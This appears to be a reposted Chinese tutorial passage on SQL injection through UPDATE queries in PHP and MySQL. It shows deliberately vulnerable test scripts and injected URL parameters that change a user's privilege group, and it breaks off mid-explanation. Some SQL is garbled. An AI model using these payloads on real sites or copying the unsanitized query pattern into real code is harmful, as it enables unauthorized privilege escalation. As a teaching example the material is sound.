UPDATE注射(mysql+php)的两个模式_PHP教程
最新回答
灵魂的出口
2026-05-19 21:22:43
二.测试数据库结构：
-----start----- 数据库: `test`
---- ------------------------------------------------------------ 表的结构 `userinfo`
--CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default ’1’
`user` varchar(12) NOT NULL default ’heige’
`pass` varchar(122) NOT NULL default ’123456’)
ENGINE=MyISAM DEFAULT CHARSET=latin1;
---- 导出表中的数据 `userinfo`
--INSERT INTO `userinfo` VALUES (’2’ ’heige’ ’123456’)
------end-------
三.测试模式：
1,变量没有带’’或""[MOD1]//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=$p where user=’heige’";
//<--$P没有使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "
SQL Query:$sql
";?>
脚本里只是修改user=’heige’的pass，如果groudid表示用户的权限等级，我们的目的就是通过构造$p 来达到修改groupid的目的：那么我们提交：
http://127.0.0.1/test1.php?p=123456
,groudid=1在mysql里查询： mysql>select * from userinfo;
结果：+---------+-------+--------+
groudid | user | pass |
结果：| 1 | heige | 123456 |
1 row in set (0.01 sec)
用户heige的groudid从2改为1了 :) 所以我们可以得到没有’’或"" update的注射是可以成功的，这个就是我们的模式1。
2,变量带’’或""[MOD2]
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=’$p’ where user=’heige’";
//<--$P使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "
SQL Query:$sql
";?>
为了关闭’，我们构造$p应该为123456’groudid=’2 提交：
http://127.0.0.1/test2.php?p=123456
’groudid=’1 在gpc=on的情况下’变成了’ 提交的语句变成：SQL Query:update userinfo set pass=’123456’groudid=’1’ where user=’heige’mysql查询： mysql>select * from userinfo;
结果：+---------+-------+--------------------+
groudid | user | pass |
结果：| 2 | heige | 123456’groudid=’1 |
1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢？不是 下面我们看模式2：//test3.php Mod2
热门标签
